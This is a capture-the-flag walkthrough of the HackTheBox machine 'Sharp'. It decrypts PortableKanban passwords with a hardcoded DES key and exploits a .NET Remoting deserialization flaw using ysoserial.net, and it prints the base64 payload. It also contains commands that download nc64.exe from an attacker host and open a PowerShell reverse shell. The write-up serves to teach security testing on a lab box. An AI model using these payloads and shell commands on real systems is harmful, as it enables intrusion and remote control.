Sharp

Sharp was all about C# and .NET. It started with a PortableKanban config. At the time of release, there was no public scripts decrypting the database, so it involved reverse engineering a real .NET binary. From there, I’ll reverse and exploit a .NET remoting service with a serialized payload to get shell as user. To escalate to system, I’ll reverse a Windows Communication Foundation (WCF)-based service to find an endpoint that runs PowerShell code. I’ll create a client to return a reverse shell. I’m also going to solve this one from a Windows VM (mostly).

Box Info

Name Sharp Sharp
Play on HackTheBox
Release Date 05 Dec 2020
Retire Date 01 May 2021
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Sharp
Radar Graph Radar chart for Sharp
First Blood User 01:10:08snowscan snowscan
First Blood Root 01:45:42snowscan snowscan
Creator cube0x0 cube0x0

Recon

nmap

nmap found six open TCP ports, RPC (135), NetBios (139), SMB (445), WinRM (5985), and two unknown services (8888 and 8889):

PS > nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.219
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-19 15:23 Eastern Daylight Time
Nmap scan report for 10.10.10.219
Host is up (0.019s latency).
Not shown: 65529 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5985/tcp open  wsman
8888/tcp open  sun-answerbook
8889/tcp open  ddi-tcp-2

Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds

PS > nmap -p 135,139,445,5985,8888,8889 -sCV -oA scans/nmap-tcpscripts 10.10.10.219
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-19 15:23 Eastern Daylight Time
Nmap scan report for 10.10.10.219
Host is up (0.016s latency).

PORT     STATE SERVICE              VERSION
135/tcp  open  msrpc                Microsoft Windows RPC
139/tcp  open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
8889/tcp open  mc-nmf               .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -57m11s, deviation: 0s, median: -57m11s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-04-19 14:27:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.86 seconds

I don’t get much information about the OS, other than that it’s Windows.

8888 and 8889 don’t show much. Connecting to them with nc to either doesn’t return anything.

SMB - TCP 445

net view from Windows won’t show anything as far as shares:

PS > net view 10.10.10.219
System error 5 has occurred.

Access is denied.

Interested in any comments as to how to find the share using Windows. I’ll do this part from Parrot.

smbmap will list the shares, showing one with anonymous read access:

oxdf@parrot$ smbmap -H 10.10.10.219 
[+] IP: 10.10.10.219:445        Name: LicorDeBellota.htb                                
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY

smbclient will show the share as well:

oxdf@parrot$ smbclient -N -L //10.10.10.219
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        dev             Disk      
        IPC$            IPC       Remote IPC
        kanban          Disk      
SMB1 disabled -- no workgroup available

There’s a handful of files:

oxdf@parrot$ smbclient -N //10.10.10.219/kanban
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 14 13:56:03 2020
  ..                                  D        0  Sat Nov 14 13:56:03 2020
  CommandLine.dll                     A    58368  Wed Feb 27 03:06:14 2013
  CsvHelper.dll                       A   141312  Wed Nov  8 08:52:18 2017
  DotNetZip.dll                       A   456704  Wed Jun 22 16:31:52 2016
  Files                               D        0  Sat Nov 14 13:57:59 2020
  Itenso.Rtf.Converter.Html.dll       A    23040  Thu Nov 23 11:29:32 2017
  Itenso.Rtf.Interpreter.dll          A    75776  Thu Nov 23 11:29:32 2017
  Itenso.Rtf.Parser.dll               A    32768  Thu Nov 23 11:29:32 2017
  Itenso.Sys.dll                      A    19968  Thu Nov 23 11:29:32 2017
  MsgReader.dll                       A   376832  Thu Nov 23 11:29:32 2017
  Ookii.Dialogs.dll                   A   133296  Thu Jul  3 17:20:12 2014
  pkb.zip                             A  2558011  Thu Nov 12 15:04:59 2020
  Plugins                             D        0  Thu Nov 12 15:05:11 2020
  PortableKanban.cfg                  A     5819  Sat Nov 14 13:56:01 2020
  PortableKanban.Data.dll             A   118184  Thu Jan  4 16:12:46 2018
  PortableKanban.exe                  A  1878440  Thu Jan  4 16:12:44 2018
  PortableKanban.Extensions.dll       A    31144  Thu Jan  4 16:12:50 2018
  PortableKanban.pk3                  A     2080  Sat Nov 14 13:56:01 2020
  PortableKanban.pk3.bak              A     2080  Sat Nov 14 13:55:54 2020
  PortableKanban.pk3.md5              A       34  Sat Nov 14 13:56:03 2020
  ServiceStack.Common.dll             A   413184  Wed Sep  6 07:18:22 2017
  ServiceStack.Interfaces.dll         A   137216  Wed Sep  6 07:17:30 2017
  ServiceStack.Redis.dll              A   292352  Wed Sep  6 07:02:24 2017
  ServiceStack.Text.dll               A   411648  Tue Sep  5 23:38:18 2017
  User Guide.pdf                      A  1050092  Thu Jan  4 16:14:28 2018

                10357247 blocks of size 4096. 7414020 blocks available

Some Googling reveals these are all related to PortableKanban, software for tracking tasks.

Portable Kanban

Script

Googling for PortableKanban exploit finds this exploitdb post. It’s a Python script that looks at a PortableKanban.pk3 file and prints the plaintext passwords from it.

Grabbing the file from the SMB share, and running the script gives two passwords:

oxdf@parrot$ python pk-decrypt.py PortableKanban.pk3 
Administrator:G2@$btRSHJYTarg
lars:G123HHrth234gRG

RE

That script was posted on 11 Jan 2021, about a month after this box released, which means it wasn’t there at release. The intended path is to look at PortableKanban and figure out how the configuration decrypts the password.

The PortableKanban.pk3 file is JSON, and contains information about the users in this instance of PK. To look at it, I’ll use cat PortableKanban.pk3 | jq . | less. The Users section show two users, Administrator and lars:

  "Users": [
    {
      "Id": "e8e29158d70d44b1a1ba4949d52790a0",
      "Name": "Administrator",
      "Initials": "",
      "Email": "",
      "EncryptedPassword": "",
      "Role": "Admin",
      "Inactive": false,
      "TimeStamp": 637409769245503700
    },
    {
      "Id": "0628ae1de5234b81ae65c246dd2b4a21",
      "Name": "lars",
      "Initials": "",
      "Email": "",
      "EncryptedPassword": "Ua3LyPFM175GN8D3+tqwLA==",
      "Role": "User",
      "Inactive": false,
      "TimeStamp": 637409769265925600
    }
  ],

The passwords are encrypted, as expected.

I’ll copy the entire folder of binaries over to a Windows VM and open DNSpy. I’ll select PortableKanban.exe, and then open the search window (Edit –> Search Assemblies or Ctrl+Shift+K). I searched for “password”, making sure to select “All of the Above” for the what and “Files in the Same Folder” for where:

image-20210419142949920

There were a fair number of results, but I was immediately interested in DbEncPassword, DbEncPassword2, DbPassword, and DbPassword2, all from the RoamingSettings class. Clicking on DbEncPassword leads to the code that defines it. DbEncPassword is just a string, but DbPassword is more interesting. The get function returns Crypto.Decrypt on DbEncPassword, and the set takes a value, passes it to Crypto.Encrypt, and then stores the result in DbEncPassword:

[Browsable(false)]
public string DbEncPassword { get; set; }

// Token: 0x1700009D RID: 157
// (get) Token: 0x060002E3 RID: 739 RVA: 0x00029549 File Offset: 0x00027749
// (set) Token: 0x060002E4 RID: 740 RVA: 0x00029556 File Offset: 0x00027756
[Category("\t\t\t\t\t\t\t\t\t\t\tData")]
[DisplayName("Primary server password")]
[Description("Master password required to get access to primary server databases. This password is common for all the users.")]
[PasswordPropertyText(true)]
[IgnoreDataMember]
[Browsable(true)]
public string DbPassword
{
    get
    {
        return Crypto.Decrypt(this.DbEncPassword);
    }
    set
    {
        this.DbEncPassword = Crypto.Encrypt(value.Trim());
    }
}

Crypto.Decrypt is defined as:

// Token: 0x06000002 RID: 2 RVA: 0x000020E0 File Offset: 0x000002E0
public static string Decrypt(string cryptedString)
{
    string result;
    try
    {
        if (string.IsNullOrEmpty(cryptedString))
        {
            result = string.Empty;
        }
        else
        {
            DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
            result = new StreamReader(new CryptoStream(new MemoryStream(Convert.FromBase64String(cryptedString)), descryptoServiceProvider.CreateDecryptor(Crypto._rgbKey, Crypto._rgbIV), CryptoStreamMode.Read)).ReadToEnd();
        }
    }
    catch (Exception)
    {
        result = string.Empty;
    }
    return result;
}

// Token: 0x04000001 RID: 1
private static byte[] _rgbKey = Encoding.ASCII.GetBytes("7ly6UznJ");

// Token: 0x04000002 RID: 2
private static byte[] _rgbIV = Encoding.ASCII.GetBytes("XuVUm5fR");

It’s doing a DES decryption using Crypto._rgbKey and Crypto_rgb.IV as the key and IV, which are defined just after this function. With the key and the IV, I can write a Python script that would look very similar to the one above now on exploitdb that will decrypt the value in the config.

Alternative Auth Bypass

IppSec pointed out a near alternative way to get the user passwords from PortableKanban. On the SMB share is a file, pkb.zip, which is a clean instance of the software. I’ll unzip that into a directory. I’ll copy into that directory PortableKanban.pk3. Now I’ll edit it by copying the Administrator JSON and adding a third user, replacing the name Administrator with 0xdf, changing the ID to something different, and setting the encrypted password to “”.

image-20210430081332486Click for full size image

Now I’ll double-click PortableKanban.exe, and it offers the startup question of where I want to store data, in a file or in Redis:

image-20210430081532731

I’ll hit ok with Local file selected. I’m able to log in with 0xdf and an empty password. Clicking on the gear icon and then going to the users tab, if I unckeck “Hide passwords”, I get the Administrator and lars passwords:

image-20210430081702321

SMB as lars

Test Creds

Unsurprisingly, the administrator creds do not work for Sharp, but the lars ones do:

oxdf@parrot$ crackmapexec smb 10.10.10.219 -u administrator -p 'G2@$btRSHJYTarg'
SMB         10.10.10.219    445    SHARP            [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB         10.10.10.219    445    SHARP            [-] Sharp\administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE 
oxdf@parrot$ crackmapexec smb 10.10.10.219 -u lars -p 'G123HHrth234gRG'
SMB         10.10.10.219    445    SHARP            [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB         10.10.10.219    445    SHARP            [+] Sharp\lars:G123HHrth234gRG 

lars cannot WinRM:

oxdf@parrot$ crackmapexec winrm 10.10.10.219 -u lars -p G123HHrth234gRG
WINRM       10.10.10.219    5985   SHARP            [*] Windows 10.0 Build 17763 (name:SHARP) (domain:Sharp)
WINRM       10.10.10.219    5985   SHARP            [*] http://10.10.10.219:5985/wsman
WINRM       10.10.10.219    5985   SHARP            [-] Sharp\lars:G123HHrth234gRG

smbclient will connect as lars:

oxdf@parrot$ smbclient //10.10.10.219/dev -U 'lars%G123HHrth234gRG'
Try "help" to get a list of possible commands.
smb: \> 

I can also do this from Windows:

PS > net use \\10.10.10.219\dev /u:lars "G123HHrth234gRG"
The command completed successfully.

Files

There are four files on this share:

PS > cd \\10.10.10.219\dev
PS > ls


    Directory: \\10.10.10.219\dev


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/15/2020   5:25 AM           5632 Client.exe
-a----        11/15/2020   8:59 AM             70 notes.txt
-a----        11/15/2020   5:25 AM           4096 RemotingLibrary.dll
-a----        11/16/2020   6:55 AM           6144 Server.exe

I’ll download all four file - the three binaries are all .NET executables:

oxdf@parrot$ file Client.exe Server.exe RemotingLibrary.dll 
Client.exe:          PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Server.exe:          PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
RemotingLibrary.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

The notes.txt has some hints

oxdf@parrot$ cat notes.txt 
Todo:
    Migrate from .Net remoting to WCF
    Add input validation

Shell as lars

RE

Server

I’ll open Server.exe in DNSpy and notice right away it’s much more simple than the previous binary:

image-20210419151349294

The module is RemotingSample, which likely means it was built on top of a sample from somewhere. Main creates a thread and runs StartServer, which is a service listening on TCP 8888:

// RemotingSample.Server
// Token: 0x06000003 RID: 3 RVA: 0x000020A4 File Offset: 0x000002A4
private static void StartServer()
{
	Hashtable hashtable = new Hashtable();
	((IDictionary)hashtable)["port"] = 8888;
	((IDictionary)hashtable)["rejectRemoteRequests"] = false;
	BinaryServerFormatterSinkProvider binaryServerFormatterSinkProvider = new BinaryServerFormatterSinkProvider();
	binaryServerFormatterSinkProvider.TypeFilterLevel = TypeFilterLevel.Full;
	ChannelServices.RegisterChannel(new TcpChannel(hashtable, new BinaryClientFormatterSinkProvider(), binaryServerFormatterSinkProvider), true);
	RemotingConfiguration.CustomErrorsMode = CustomErrorsModes.Off;
	RemotingConfiguration.RegisterWellKnownServiceType(typeof(Remoting), "SecretSharpDebugApplicationEndpoint", WellKnownObjectMode.Singleton);
	Console.WriteLine("Registered service");
	for (;;)
	{
		Console.ReadLine();
	}
}

It’s important to note that the TypeFilterLevel is set to Full. Also, I’ll need the name of the service, SecretSharpDebugApplicationEndpoint.

Client

The client is even simpler:

image-20210419204042960

Main shows a connection to the same endpoint, with credentials:

private static void Main(string[] args)
{
	ChannelServices.RegisterChannel(new TcpChannel(), true);
	IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((Remoting)Activator.GetObject(typeof(Remoting), "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint"));
	channelSinkProperties["username"] = "debug";
	channelSinkProperties["password"] = "SharpApplicationDebugUserPassword123!";
}

Strategy

.NET remoting is an older, insecure API/protocol, which is now superseded by Windows Communication Foundation (WCF). Searching for “.NET remoting exploit” will return a bunch of good resources. Intro to .NET Remoting for Hackers is a really nice walkthrough of how to exploit the system in General. Finding and Exploiting .NET Remoting over HTTP using Deserialisation (by NCC Group) goes into detail on a specific attack, which will work in this case. The ExploitingRemoteService GitHub repo from James Forshaw provides a tool to facilitate that deserialization attack.

To exploit this, I’ll generate a serialized payload to execute commands, and then feed it into ExploitingRemoteService.exe.

This took so much trial and error, and some asking friends to help to get working. I won’t be able to show that, but did want to make clear that this part was hard and required persistence.

Exploit POC

Build ExploitingRemoteService

I’ll download the repo from Git to my Windows VM, and then double click on the .sln file to open it in Visual Studio. I’ll set the config to Release and leave it on Any CPU, and Build –> Build Solution. At the Output window, I can see it Builds:

image-20210419160004877

I’ll need the six files from the ExploitRemotingService path:

C:\ExploitRemotingService-master\ExploitRemotingService\bin\Release>ls
ExploitRemotingService.exe         FakeAsm.dll
ExploitRemotingService.exe.config  FakeAsm.pdb
ExploitRemotingService.pdb         NDesk.Options.dll

I’ll move them to a move convenient folder, but I could also run from there. As long as all the files are together.

I can try to use this binary with the exec mode first. I’ll get a cmd window with creds for lars:

C:\>runas /u:sharp\lars /netonly cmd
Enter the password for lars:
Attempting to start cmd as user "sharp\lars" ...

In the new window, at the top left it shows that it’s running as lars:

image-20210419160738519

To show that lar’s creds are cached here, I can run net user on the dev share without re-entering the creds:

C:\>net use \\10.10.10.219\dev
The command completed successfully.

That wouldn’t work in another window.

It says on the GitHub page to try the ver command:

PS > .\ExploitRemotingService.exe -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint ver
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
System.Runtime.Remoting.RemotingException: Error deserializing message. ---> System.NotSupportedException: http://go.microsoft.com/fwlink/?LinkId=390633
   --- End of inner exception stack trace ---
   at ExploitRemotingService.CustomChannel.MakeCall(String path, MethodBase mi, Object[] cmdargs) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\CustomChannel.cs:line 252
   at ExploitRemotingService.Program.CreateRemoteClassExploit(CustomChannel channel) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 362
   at ExploitRemotingService.Program.Main(String[] args) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 620

It crashes with an error in deserializing. I’ll try to run with the exec command, but it doesn’t work:

C:\Users\0xdf\ExploitingRemotingService>ExploitRemotingService.exe -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint exec cmd.exe '/c ping.exe 10.10.14.14'
Error, couldn't detect version, using host: 4.0.30319.42000
Detected version 4 server
System.Runtime.Remoting.RemotingException: Error deserializing message. ---> System.NotSupportedException: http://go.microsoft.com/fwlink/?LinkId=390633
   --- End of inner exception stack trace ---
   at ExploitRemotingService.CustomChannel.MakeCall(String path, MethodBase mi, Object[] cmdargs) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\CustomChannel.cs:line 252
   at ExploitRemotingService.Program.CreateRemoteClassExploit(CustomChannel channel) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 362
   at ExploitRemotingService.Program.Main(String[] args) in C:\Users\0xdf\Desktop\ExploitRemotingService-master\ExploitRemotingService\Program.cs:line 620

It’s failing to deserialize the message. I should try a serialized payload.

Generate Payload

I’ll use YSoSerial.net to generate a serialized .NET attack payload. I used this a long time ago in HTB Json.

I’ll generate a payload that will ping my machine. The NCC Group blog mentioned the TypeConfuseDelegate gadgets, but others may work as well:

PS > $ping = ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c 'ping 10.10.14.14'

I want the BinaryFormatter to work with the executable above. And the base64 output will be passed in.

As requested, the payload is base64-encoded:

PS > $ping
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAABMvYyBwaW5nIDEwLjEwLjE0LjE0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

Exploit

Putting this all together, I’ll start Wireshark and run it:

PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $ping
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

It returns an error message, but that’s typically for deserialization attacks. More importantly, in Wireshark:

image-20210420171825830

Shell

I’ll start a Python3 webserver in a directory with nc64.exe:

PS > ls


    Directory: C:\tools\nc


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/16/2011   9:52 PM          38616 nc.exe
-a----         9/16/2011   9:52 PM          45272 nc64.exe


PS C:\tools\nc > python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...

I’ll generate a payload to upload nc:

PS > $get = ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell -c iwr http://10.10.14.14/nc64.exe -outfile C:\programdata\nc64.exe -usebasicparsing" -o base64

Now running the exploit results in an error:

PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $get
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

But also a GET request to the server:

::ffff:10.10.10.219 - - [20/Apr/2021 17:34:32] "GET /nc64.exe HTTP/1.1" 200 -

Now one more payload to execute it, and run it:

PS > $shell = ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "C:\programdata\nc64.exe -e powershell 10.10.14.14 443" -o base64
PS > .\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

At a listening nc.exe, there’s a shell:

PS > .\nc64.exe -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.219] 49690
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
sharp\lars

And I can claim user.txt:

PS C:\Users\lars\desktop> type user.txt
198547b7************************

Shell as System

Enumeration

In lars’ Documents folder there’s a directory called wcf, which contains a Visual Studio project:

PS C:\Users\lars\Documents\wcf> ls

    Directory: C:\Users\lars\Documents\wcf

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2020   1:40 PM                .vs
d-----       11/15/2020   1:40 PM                Client
d-----       11/15/2020   1:40 PM                packages
d-----       11/15/2020   1:40 PM                RemotingLibrary
d-----       11/15/2020   1:41 PM                Server
-a----       11/15/2020  12:47 PM           2095 wcf.sln

I’ll add all of this to a zip for ease of moving around, and then copy it to the dev share:

PS C:\Users\lars\Documents> Compress-Archive -Path wcf -DestinationPath wcf.zip
PS C:\Users\lars\Documents> move wcf.zip C:\dev\

On my VM, I’ll mount the share (in the Window running as lars) and pull the zip off:

PS > copy \\10.10.10.219\dev\wcf.zip .
PS > Expand-Archive .\wcf.zip

WCF Analysis

Overview

In the last section I exploited a .NET Remoting-based service, and I noted that .NET Remoting was deprecated in favor of WCF. This is an example of that.

Double clicking on wcf.sln will open the project in Visual Studio, where there are three projects in the Solution Explorer: Client, RemotingLibrary, and Server:

image-20210420205823729

Server

The Server defines a class WcfService which has four methods:

image-20210420210019213

OnStart is the most interesting, as it defines a service listening on 8889 with an endpoint NewSecretWcfEndpoint:

protected override void OnStart(string[] args)
{

    if (serviceHost != null)
    {
        serviceHost.Close();
    }

    Uri baseAddress = new Uri("net.tcp://0.0.0.0:8889/wcf/NewSecretWcfEndpoint");
    serviceHost = new ServiceHost(typeof(Remoting), baseAddress);
    NetTcpBinding binding = new NetTcpBinding();
    binding.Security.Mode = SecurityMode.Transport;
    binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows;
    binding.Security.Transport.ProtectionLevel      = ProtectionLevel.EncryptAndSign;
    binding.Security.Message.ClientCredentialType   = MessageCredentialType.Windows;

    try
    {
        serviceHost.AddServiceEndpoint(typeof(IWcfService), binding, baseAddress);
        serviceHost.Open();
    }
    catch (CommunicationException ce)
    {
        serviceHost.Abort();
    }

}

The ClientCredentialType suggests Windows Authentication, so I’ll need to run in the context of lars. The ServiceHost is with typeof(Remoting). I’ll look at Remoting in a minute.

Client

The client defines a single Main function:

image-20210420210411810

This function connects to the endpoint on localhost, and then calls three functions, GetDiskInfo, GetCpuInfo, and GetRamInfo (each of which are defined in RemotingLibrary):

public static void Main() {
    ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
        new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
    );
    IWcfService client = channelFactory.CreateChannel();
    Console.WriteLine(client.GetDiskInfo());
    Console.WriteLine(client.GetCpuInfo());
    Console.WriteLine(client.GetRamInfo());
}

